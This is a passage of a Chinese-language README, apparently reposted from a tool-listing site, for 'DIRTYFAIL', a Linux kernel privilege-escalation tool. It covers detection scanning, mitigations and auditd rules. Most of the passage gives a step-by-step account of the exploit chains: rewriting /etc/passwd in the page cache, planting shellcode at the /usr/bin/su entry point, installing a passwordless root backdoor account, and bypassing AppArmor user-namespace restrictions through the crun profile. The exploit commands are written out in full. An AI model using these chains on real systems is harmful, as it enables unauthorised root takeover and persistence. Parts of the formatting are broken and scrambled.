| `--no-revert` | 与 `--no-shell` 一起使用时,跳过自动还原(用于容器逃逸演示) |
| `--active` | 向 `--scan`/`--check-*` 添加活跃的哨兵 STORE 探测 |
| `--json` | (与 `--scan` 一起)输出机器可读的结果 |
| `--no-color` | 禁用 ANSI 颜色 |
| `--aa-bypass` | (仅调试)强制 AppArmor 非特权用户命名空间绕过 — 利用内部已执行此操作,参见 §8.5 |

### 检测示例

纯扫描(仅前提条件 — 快速,约 1 秒):```sh
./dirtyfail --scan

每个CVE的活动哨兵探测(约10秒,仅修改 /tmp 哨兵):```sh ./dirtyfail --scan --active

root@kitploit:~
用于SIEM/fleet摄入的JSON:```sh
$ ./dirtyfail --scan --active --json
{
  "tool": "dirtyfail",
  "version": "0.1.0",
  "hostname": "server-01",
  "kernel": "6.19.10-300.fc44.x86_64",
  "machine": "x86_64",
  "active_probes": true,
  "results": [
    {"cve": "CVE-2026-31431",     "name": "copyfail",        "status": "vulnerable"},
    {"cve": "CVE-2026-43284",     "name": "dirtyfrag-esp",   "status": "vulnerable"},
    {"cve": "CVE-2026-43284-v6",  "name": "dirtyfrag-esp6",  "status": "vulnerable"},
    {"cve": "CVE-2026-43500",     "name": "dirtyfrag-rxrpc", "status": "vulnerable"},
    {"cve": "CVE-2026-31431-gcm", "name": "copyfail-gcm",    "status": "vulnerable"}
  ],
  "summary": "vulnerable"
}

Status values: vulnerable, not_vulnerable, preconds_missing, test_error. 汇总结果取所有结果中最差的那一个。

利用示例(需要输入确认)```sh

./dirtyfail --exploit-copyfail # UID-flip + drop into root via su ./dirtyfail --exploit-su # plant /bin/sh shellcode at /usr/bin/su entry ./dirtyfail --exploit-copyfail --no-shell # plant + verify + auto-revert (CI-safe)

root@kitploit:~
每个漏洞利用在页缓存修改前会提示输入 `DIRTYFAIL` +(如适用)
`YES_BREAK_SSH`。

### 状态检查与清理```sh
./dirtyfail --list-state          # what's currently planted? (side-effect free)
./dirtyfail --cleanup             # fadvise(DONTNEED) + drop_caches if root
./dirtyfail --cleanup-backdoor    # restore /etc/passwd from .dirtyfail.state
./dirtyfail --cleanup-su          # restore /usr/bin/su from .dirtyfail-su.state

或者直接降级到内核:```sh sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'

root@kitploit:~
---

## 7. DIRTYFAIL 如何检测每个 CVE

### Copy Fail(主动哨兵探测)

检测实际针对 `/tmp` 中的哨兵文件触发原始操作:

1. 探测 `socket(AF_ALG, SOCK_SEQPACKET, 0)` 并 `bind` 到 `authencesn(hmac(sha256), cbc(aes))`。
2. 在 `/tmp` 中创建一个 4 KiB 的哨兵文件,并将它的第一页故障写入缓存。
3. 针对该文件运行完整的利用原语:使用 `seqno_lo = "PWND"` 的 `sendmsg` AAD,将哨兵的 32 字节拼接进 AF_ALG 操作套接字,驱动 `recv` 触发写入操作。
4. 重新读取哨兵,在第一页中查找 `PWND`。

找到标记 ⇒ 存在漏洞。标记缺失但页面内容不同 ⇒ 原语部分触发(仍存在漏洞)。页面完全相同 ⇒ 此内核上不存在漏洞。

### Dirty Frag xfrm-ESP(基于前提条件 — 或配合 `--active` 主动探测)

默认的 `--scan` 仅检查前提条件——我们在检测模式下不会进入用户命名空间(否则会影响该命名空间内的网络)。我们检查:

* 内核版本在受影响范围内
* `esp4` / `esp6` 已加载或可自动加载
* 非特权用户命名空间创建成功(通过 fork → 子进程 `unshare(CLONE_NEWUSER)` 探测)
* AppArmor `apparmor_userns_caps_blocked()` 返回 false

以上四个条件全部满足 ⇒ 存在漏洞(前提条件满足)。

`--scan --active` 在此基础上增加了一个哨兵 STORE 探测:我们 fork 一个子进程,启动 AA 绕过,进入新的用户/网络命名空间,注册一个 XFRM SA,并针对 `/tmp/dirtyfail-esp-probe.XXXXXX` 哨兵文件触发 ESP-in-UDP 操作。父进程重新读取哨兵并查找标记字节:

* 标记写入 → 内核 STORE 可达 → **存在漏洞**
* 页面完整 → 内核补丁已生效 → **不存在漏洞**
* AA 绕过被拒绝 → **前提条件失败**(LSM 缓解)

这是唯一能在不针对 `/etc/passwd` 运行完整 UID 翻转利用的情况下,区分打了回溯补丁的内核与未打补丁的内核的方法。ESP v6、RxRPC 和 GCM 在 `--active` 下也使用相同模式。

### Dirty Frag RxRPC(基于前提条件 — 或配合 `--active` 主动探测)

前提条件:
* `rxrpc` 在 `/proc/modules` 中或可自动加载
* `socket(AF_RXRPC, SOCK_DGRAM, 0)` 调用成功

主动探测(`--active`):通过 AA 绕过 fork,注册一个包含任意 8 字节值的 rxrpc 会话密钥,针对 `/tmp` 哨兵发送一次 CHALLENGE + DATA 伪造,在拼接的 8 字节窗口内查找任何字节变化。我们不尝试预测写入的内容——任何修改都确认内核 STORE 可触发。

### Copy Fail GCM 变体 + ESP v6——相同结构

GCM 变体的主动探测会安装一个使用任意 IV 的传输模式 SA,并针对 `/tmp` 哨兵触发 `gcm_trigger`;哨兵[0]处任何字节变化即可确认可达性。ESP v6 探测还会根据内核构建自动校准 `V6_STORE_SHIFT`(参见 `src/dirtyfrag_esp6.c` 中的 `calibrate_v6_shift`)——不同发行版的 `esp6_input` 构建将 STORE 放在拼接区域内的不同偏移位置,校准探测会在实际利用触发前发现精确偏移。

---

## 8. DIRTYFAIL 如何利用每个 CVE

### Copy Fail 利用(`copyfail.c`)

通过 `algif_aead` 实现单次 4 字节 STORE:```
                                          [/etc/passwd page cache]
 user  ──sendmsg(AAD = SPI||"0000")──▶ AF_ALG op
       ──splice(passwd_fd, 32B)──────▶ AF_ALG op (in-place dst SGL)
       ──recv()─────────────────────▶ kernel runs authencesn_decrypt
                                        scratch write: "0000" → uid_off
                                        EBADMSG returned to user (we ignore)
 user  ──open(passwd, RDONLY)─read──▶ "kara:x:0000:1000:..."   ◄─ page cache
 user  ──execlp("su", "kara")──────▶ PAM ✓ on /etc/shadow → setuid(0)
                                       ─────► root shell

Dirty Frag xfrm-ESP 漏洞利用 (dirtyfrag_esp.c)

与 Copy Fail 相同的最终状态,通过 xfrm_input 而非 algif_aead 达成:``` [/etc/passwd page cache] unshare(USER|NET); setup uid_map; ifup lo NETLINK_XFRM ─NEWSA(seq_hi="0000", encap=ESPINUDP/4500)─▶ kernel udp_recv bind 127.0.0.1:4500, UDP_ENCAP_ESPINUDP udp_send connect 127.0.0.1:4500 vmsplice ESP wire header (24B) ─▶ pipe splice /etc/passwd@uid_off (16B) ─▶ pipe splice pipe (40B) ─▶ udp_send udp loopback ─▶ udp_recv (UDP_ENCAP) ─▶ xfrm_input ─▶ esp_input skb has frags, no frag_list ─▶ goto skip_cow (THE BUG) crypto_authenc_esn_decrypt: scratch_write(seq_hi="0000" → page_addr+uid_off) ◄─ 4-byte STORE AEAD auth fails (EBADMSG) — but the STORE is permanent page-cache copy of /etc/passwd now reports uid 0 for the user

root@kitploit:~
然后退出命名空间,从父进程执行 `execlp("su", user)` — 与 Copy Fail 相同的最后一步。

### Dirty Frag RxRPC 漏洞 (`dirtyfrag_rxrpc.c` + `fcrypt.c`)```
                                          [/etc/passwd page cache]
 user-space brute force of K_A, K_B, K_C such that fcrypt_decrypt(C, K)
   produces predicate-satisfying plaintexts for offsets 4, 6, 8
   (chained-ciphertext correction across passes)

 fork → child enters new userns:
   unshare(USER|NET); setup uid_map; ifup lo
   socket(AF_RXRPC) — autoload rxrpc.ko
   for each (off, K) in [(4,K_A), (6,K_B), (8,K_C)]:
     add_key("rxrpc", "df-evil<n>", v1_token{session_key=K})
     udp_srv = bind 127.0.0.1:port_S
     rxsk    = AF_RXRPC + SECURITY_KEY=df-evil<n> + bind :port_C
     rxsk → sendmsg(PINGPING)              triggers handshake init
     udp_srv ← receives kernel's first DATA-0
       extract (epoch, cid, callNumber)
     udp_srv → forged CHALLENGE             → rxsk auto-RESPONSE
                                               primes conn->rxkad.cipher with K
     csum_iv = AF_ALG pcbc(fcrypt)(epoch||cid||0||sec_ix, IV=K)
     cksum_h = AF_ALG pcbc(fcrypt)(call_id||x, IV=csum_iv)[1] >> 16
     vmsplice DATA hdr (28B) → pipe
     splice  /etc/passwd@off (8B) → pipe
     splice  pipe (36B) → udp_srv
     udp loopback → rxsk
       recvmsg → rxrpc_input → rxkad_verify_packet
         skb has frags, no frag_list → goto skip_unshare    (THE BUG)
         skcipher_request_set_crypt(req, sg=page+off, sg=page+off, 8, iv=0)
         crypto_skcipher_decrypt: pcbc(fcrypt)
           page[off..off+8] = fcrypt_decrypt(C_actual, K)    ◄─ 8-byte STORE

 child exits, parent verifies /etc/passwd[4..5] == "::"
 parent: execlp("su", "-")
   PAM common-auth: pam_unix.so nullok    → root has empty password
   su  → setresuid(0,0,0) → exec /bin/bash
                                       ─────► root shell

--exploit-su shellcode injection (exploit_su.c)

一种基于V4bel参考利用的第二个免/etc/passwd攻击链。不是修改/etc/passwd的页缓存,而是在/usr/bin/su的页缓存中的ELF入口点处植入特定架构的shellcode;下次任何人执行/usr/bin/su时,内核从磁盘上的setuid位设置euid=0,动态链接器解析,控制权转移到我们的shellcode → 以真实初始命名空间根用户身份获得/bin/sh。无PAM依赖,完全绕过pam_unix nullok移除。``` parent (init ns) │ stat /usr/bin/su; verify setuid+root │ parse ELF header; resolve e_entry → file offset │ pread() N bytes at file_offset → /var/tmp/.dirtyfail-su.state │ for each 4-byte chunk of shellcode: │ cf_4byte_write("/usr/bin/su", file_offset+i, chunk) │ pread() back; verify match │ if --no-shell: │ plant_shellcode(original) # revert via re-write │ fadvise(DONTNEED) on a new fd # evict if possible │ else: │ execl("/usr/bin/su", "su", NULL) ─► │ kernel exec /usr/bin/su (setuid root) │ ld-linux.so resolves │ jumps to e_entry → our shellcode │ setuid(0); setgid(0); │ execve("/bin/sh", argv, NULL) ▼ ────► root shell

root@kitploit:~
架构矩阵:

* **x86_64(56 字节,14 次链式 4 字节写入)** — 已在 Fedora 44 上进行了端到端测试(`uid=0(root) gid=0(root) ... context=unconfined_u:unconfined_r:unconfined_t`)。Shellcode 位于 `shellcode_x86_64[]` 中。
* **aarch64(80 字节,20 条指令)** — 根据 ARMv8-A 参考手册手工编码,**从未在硬件上执行过**。通过 `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` 启用。源码随工具发布在 `tools/exploit_su_aarch64.S` 中,供社区验证 — 使用 `aarch64-linux-gnu-as` 汇编,并确认字节序列与 `shellcode_aarch64[]` 匹配。
* 其他情况 → preconds_fail。

状态文件 `/var/tmp/.dirtyfail-su.state` 保存了原始入口点字节,以便 `--cleanup-su` 可以恢复。`--list-state` 在不进行任何修改的情况下检查此文件(以及后门的状态文件)。

如果验证步骤发现页缓存与植入的 shellcode 不匹配(内核已被修补、AF_ALG 被列入黑名单等),自动恢复会立即触发,状态文件将被删除 — 操作员无需事后运行 cleanup-su。

---

## 8.5 架构:外部/内部 fork 式绕过

所有五种利用模式共享一种通用架构,用于处理 Ubuntu 的 `apparmor_restrict_unprivileged_userns=1` 策略,同时避免将利用后的 `su` 困在用户命名空间中,使其无法触及真正的 init 命名空间根。

### 问题

一种朴素的绕过方式是将*整个* `dirtyfail` 进程通过 `unshare(CLONE_NEWUSER)` 置于一个新的用户命名空间中。这足以注册 XFRM SA 并触发 splice 触发器 — 但这也意味着最终的 `execlp("su", user)` 会在用户命名空间内运行,其中 uid 0 通过 `uid_map "0 1000 1"` 映射到操作员的外部 uid(1000)。PAM 的 `setresuid(0)` 随后会定位到用户命名空间内的 uid-0(映射到 1000),这**并非**真正的 init 命名空间根 — `cat /etc/shadow` 返回 EACCES,shell 实际上无法执行特权操作。

### 解决方案:外部/内部分离```
parent (dirtyfail, init ns)                 child (bypass userns)
─────────────────────────                   ─────────────────────
prompts (DIRTYFAIL / YES_BREAK_SSH)
resolve target (uid_off, K_A/K_B/K_C, ...)
setenv DIRTYFAIL_INNER_MODE=...
setenv DIRTYFAIL_TARGET_USER=...
fork ─────────────────────────────────────► change_onexec("crun")
                                             execv self ─► STAGE-1
                                                            execv self ─► STAGE-2
                                                                          unshare(USER|NET)
                                                                          uid_map / capset
                                                                          ifup lo
                                                                          main() detects INNER_MODE
                                                                          dispatch <mode>_inner()
                                                                          register XFRM SA
                                                                          splice trigger → page cache STORE
                                                                          _exit(DF_EXPLOIT_OK)
waitpid ◄───────────────────────────────── (child reaped)
read /etc/passwd (page cache is global)
verify modification visible
if do_shell:
  execlp("su", user) ← runs IN INIT NS
                       PAM auth → setresuid(0)
                       → REAL init-ns root shell
else:
  try_revert_passwd_page_cache

父进程从不进入用户命名空间。子进程执行绕过及内核工作,修改全局页面缓存(该缓存跨命名空间共享——这是唯一需要的“桥梁”),然后退出。父进程的 su 随后就是一个正常的初始命名空间 setresuid 调用。

父进程 → 子进程通过环境变量传递信息

execv 会保留环境变量,因此父进程在分叉前将操作参数存入环境变量中。每种模式定义各自的环境变量:

绕过阶段 2 完成后,main() 检查 DIRTYFAIL_INNER_MODE 并分派到 <mode>_exploit_inner()。内层函数只执行内核工作(无提示、无分叉、无 su),然后以结果码退出。父进程通过 waitpid 回收子进程,并继续执行验证。

为何采用单次跳转绕过

早期的两次跳转步骤(change_onexec("crun") → change_onexec("chrome"))在我们的执行链中导致 Ubuntu 24.04 上出现间歇性的 ENOSPC 错误(可能是每个配置文件的用户命名空间计费问题)。单次跳转到 crun 已经足够——crun 的 AppArmor 配置文件包含 flags=(unconfined) 和显式的 userns, 权限,因此 unshare 能成功并保持成功。

为何没有无限重执行循环

阶段 2 成功完成后,会设置一个进程本地的 g_bypass_done 标志。如果同一进程中再次调用 apparmor_bypass_needed(),会短路返回 false,从而防止利用后代码重新启用并嵌套另一层用户命名空间(之前这会导致达到每用户命名空间嵌套上限而出现 ENOSPC)。

--aa-bypass 现在是调试专用标志

在旧架构中,--aa-bypass 在利用分派前启用整个进程的绕过。在新架构中,利用模式在内部自行执行基于分叉的绕过;该标志在正常使用中已不再需要。保留该标志用于隔离调试绕过机制(例如在绕过用户命名空间内运行 --scan),并附带警告:该标志可能破坏利用后 su。


9. 缓解措施

Copy Fail(CVE-2026-31431)

  1. **应用补丁。**主线 a664bf3d;反向移植已进入 6.12 / 6.17 / 6.18 稳定版分支。
  2. 临时措施:列入黑名单 algif_aead: ```sh echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/copyfail.conf sudo rmmod algif_aead 2>/dev/null
    root@kitploit:~

⚠ 注意:这 不能 缓解 Dirty Frag。xfrm-ESP 路径在没有经过 algif_aead 的情况下达到了相同的 authencesn 原语。

Dirty Frag xfrm-ESP (CVE-2026-43284)

  1. **应用补丁。**主线 f4c50a4034e6(于 2026-05-07 合并)。发行版回溯正在推出,截至 2026-05-08。
  2. 临时措施:将 esp4 和 esp6 加入黑名单: ```sh sudo tee /etc/modprobe.d/dirtyfrag-esp.conf <<'EOF' install esp4 /bin/false install esp6 /bin/false EOF sudo rmmod esp4 esp6 2>/dev/null sudo sysctl vm.drop_caches=3
    root@kitploit:~

⚠ 这会破坏 IPsec / strongSwan / libreswan VPN。 3. 纵深防御:禁止非特权用户命名空间。 Ubuntu 默认通过 AppArmor 实现;在其它发行版上: ```sh sudo sysctl -w kernel.unprivileged_userns_clone=0

root@kitploit:~
### 脏片段 RxRPC (CVE-2026-43500)

1. **尚未有上游补丁。** 研究人员在 lkml 上提供补丁;截至编写时(2026-05-08)尚未合并。
2. **临时措施**:将 `rxrpc` 列入黑名单:   ```sh
sudo tee /etc/modprobe.d/dirtyfrag-rxrpc.conf <<'EOF'
install rxrpc /bin/false
EOF
sudo rmmod rxrpc 2>/dev/null
sudo sysctl vm.drop_caches=3

⚠ 这会破坏 AFS 分布式文件系统客户端。大多数服务器不需要 rxrpc。

组合一行命令(全部三个)```sh

sudo sh -c ' cat > /etc/modprobe.d/dirtyfail.conf <<EOF install algif_aead /bin/false install esp4 /bin/false install esp6 /bin/false install rxrpc /bin/false EOF rmmod algif_aead esp4 esp6 rxrpc 2>/dev/null sysctl vm.drop_caches=3 '

root@kitploit:~
### 或者使用 `dirtyfail --mitigate`

同一组缓解措施被封装在一个带有明确确认的防御模式中:```sh
sudo ./dirtyfail --mitigate

这将安装在 /etc/modprobe.d/dirtyfail-mitigations.conf 和 /etc/sysctl.d/99-dirtyfail-mitigations.conf 中,卸载这四个 模块,并执行 drop_caches。通过 sudo ./dirtyfail --cleanup-mitigate 恢复。副作用:破坏 IPsec、AFS 客户端以及 任何使用 AF_ALG AEAD 的用户空间。查看 docs/DEFENDERS.md 以获取 完整的系统管理员手册。

检测/监控

对于独立于补丁的持续检测:

  • 扫描主机: dirtyfail --scan --active(完全 sentinel-STORE 探测)或 dirtyfail --scan --active --json 用于 SIEM/舰队 导入。tools/dirtyfail-check.sh bash 变体没有构建依赖。
  • 审计规则: tools/99-dirtyfail.rules 是一个即用的 auditd 规则集,覆盖了漏洞利用链使用的五个系统调用路径 (XFRM netlink 注册、add_key("rxrpc")、 unshare(CLONE_NEWUSER)、AF_ALG 套接字创建、 /etc/passwd//etc/shadow 写入)。安装方法: ```sh sudo install -m 0640 tools/99-dirtyfail.rules /etc/audit/rules.d/ sudo augenrules --load && sudo systemctl restart auditd
root@kitploit:~
* **容器爆炸半径演示:**
`tools/dirtyfail-container-escape.sh` 展示了内核页面缓存
跨命名空间共享 — 有助于向运维人员解释跨租户影响。

---

## 10. 伦理与披露

DIRTYFAIL 是一个研究工具。它所涵盖的漏洞
**已经公开披露**,并且野外已有武器化的 PoC
(参见 [致谢](#11-致谢))— DIRTYFAIL 增加了检测覆盖、
统一文档,以及一个更温和的 PoC 变体(UID 翻转 vs ELF
覆盖 `/usr/bin/su`)。

* **不要在你没有所有权或未明确授权测试的系统上运行 `--exploit-*` 模式。** 页面缓存修改可以通过 `drop_caches` 恢复,但在其持续期间仍然是权限提升。
* **未经书面授权,不要将 DIRTYFAIL 作为“扫描器”部署到第三方基础设施上。** 检测模式对系统文件是非修改性的,但会在 `/tmp` 中打开一个哨兵文件并调用内核加密 API。
* 如果你在生产环境发现易受攻击的系统,请遵循负责任的披露流程通知操作员,而不是公开。

---

## 奖励:关于 GCM 变体 + 后门 + AppArmor 绕过的说明

这三个功能扩展了 DIRTYFAIL,采用了 **0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo** 首次发布的技术。以 DIRTYFAIL 风格重新实现;原始致谢信息见 `NOTICE.md`。

### Copy Fail GCM 变体

与 CVE-2026-43284 相同的 xfrm-ESP no-COW 路径,但使用
`rfc4106(gcm(aes))` 代替 `authencesn(...)`。其与 authencesn 变体并存的理由有二:

1. **覆盖范围。** 防御者若将 `algif_aead` 加入黑名单以缓解 Copy Fail (CVE-2026-31431),此处仍然存在漏洞 — GCM 路径不经过 algif_aead。
2. **粒度。** 计数器模式下的 AES-GCM 将密钥流 XOR 到拼接的字节上。通过暴力破解 IV(每字节约 256 次尝试),我们可以在任意文件偏移处写入一个任意字节 — 无需 4 字节对齐,也无需 4 字节副作用。

1 字节原语 (`cfg_1byte_write`) 使得持久后门模式成为可能。

### 持久后门

`--exploit-backdoor` 选择 `/etc/passwd` 中 shell 为 `{nologin, false, sync}` 的最长一行,并逐字节将其覆盖为 `dirtyfail::0:0:<pad>:/:/bin/bash`(长度匹配)。安装后,任何用户执行 `su - dirtyfail` 即可获得根 shell — 无需密码提示 — 因为 `pam_unix.so nullok` 接受空密码字段。

用户名 `dirtyfail` 特意为此项目打上品牌标签,以便在后续审计中**易于检测** — 运行 `grep dirtyfail /etc/passwd`(或任何执行相同操作的 HIDS)的防御者将立即发现该行。如果你为特定的红队行动需要其他标识符,请更改 `src/backdoor.c` 中的 `NEW_USER` 和 `DF_PREFIX`。

磁盘上的文件未改变;替换仅存在于页面缓存中。`--cleanup-backdoor` 通过相同的原语恢复原始行。

### AppArmor 绕过

Ubuntu 24.04+ 默认启用了 `apparmor_restrict_unprivileged_userns=1`。应用于非特权二进制的默认配置文件允许 `unshare(USER)` 成功,但会在新命名空间中**剥离 CAP_NET_ADMIN**。XFRM SA 注册随后静默失败。

绕过方法:将 `"exec crun"` 写入 `/proc/self/attr/exec` 并通过 `execv` 切换到 AppArmor 的 `crun` 配置文件,该配置文件具有 `flags=(unconfined)` 和明确的 `userns,` 权限。exec 之后,`unshare(CLONE_NEWUSER | CLONE_NEWNET)` 在新命名空间中成功获取完整权限。

DIRTYFAIL 通过 fork 处理每个利用模式:父进程留在初始命名空间,子进程执行绕过 + 内核工作,父进程读取全局页面缓存并运行 `su` 以获取真正的 init-ns 根。完整链参见 [§8.5 架构](#85-架构outerinner-fork-based-bypass)。传统的 `--aa-bypass` 标志(为整个进程启用绕过)仅保留用于调试。

原始技术来自 0xdeadbeefnetwork 的 `aa-rootns.c`(其中致谢了 Brad Spengler / grsecurity)。DIRTYFAIL 的实现:

- 通过 `kernel.apparmor_restrict_unprivileged_userns` 系统调用检测限制,而不是读取 `/proc/self/attr/current`(在 Ubuntu 24.04 上即使策略正在限制,该文件仍显示“unconfined”)。
- 使用单跳进入 `crun`,而不是双跳的 `crun → chrome` 舞蹈 — 第二跳在 Ubuntu 24.04 上导致间歇性 `ENOSPC`。
- 在第二阶段后设置进程本地的 `g_bypass_done` 标志,以便重新检查短路(防止先前耗尽每用户命名空间嵌套上限的无限 re-exec 循环)。

---

## 11. 致谢

DIRTYFAIL 是原创代码,但其实现的技术由以下研究人员开发。在部署此工具之前,请阅读他们的主要来源 — 它们是权威参考。

| 来源 | 研究人员 | 贡献 |
|--------|------------|--------------|
| <https://copy.fail/> | 匿名 | 原始 Copy Fail 披露 |
| <https://github.com/Smarttfoxx/copyfail> | Smarttfoxx | C PoC(shellcode-in-`su` 变体) |
| <https://github.com/rootsecdev/cve_2026_31431> | rootsecdev | Python 检测器 + UID 翻转 PoC;DIRTYFAIL 的 `--exploit-copyfail` 模式在人体工程学上遵循此方法。 |
| <https://github.com/V4bel/dirtyfrag> | Hyunwoo Kim ([@v4bel](https://x.com/v4bel)) | Dirty Frag 发现、完整链 PoC、内核补丁 |
| <https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo> | 0xdeadbeefnetwork | GCM 变体利用、IPv6 PoC、AppArmor userns 绕过技术 |
| <https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/> | BleepingComputer | 公开报道 |

补丁作者:

* `f4c50a4034e6` (Dirty Frag xfrm-ESP) — 基于 Hyunwoo Kim 的 v1 补丁,采用 Kuan-Ting Chen 的合并共享分片方法。
* RxRPC 补丁 — Hyunwoo Kim,等待合并。

---

## 许可证

MIT。参见 [LICENSE](https://github.com/karazajac/dirtyfail/blob/main/LICENSE)。

---

## 联系方式

在此仓库中提交问题,或通过提交历史中列出的地址联系。对于相关问题的协调披露,请直接联系上述上游研究人员。
下载工具
模式环境变量
esp / esp6 / gcmDIRTYFAIL_INNER_MODE、DIRTYFAIL_TARGET_USER
rxrpcDIRTYFAIL_INNER_MODE=rxrpc、DIRTYFAIL_K_{A,B,C}(十六进制)—— fcrypt 暴力破解在父进程中进行(无需能力);密钥传递给子进程用于实际触发
backdoor-install / backdoor-cleanupDIRTYFAIL_INNER_MODE、DIRTYFAIL_LINE_OFF、VICTIM_LINE、TARGET_LINE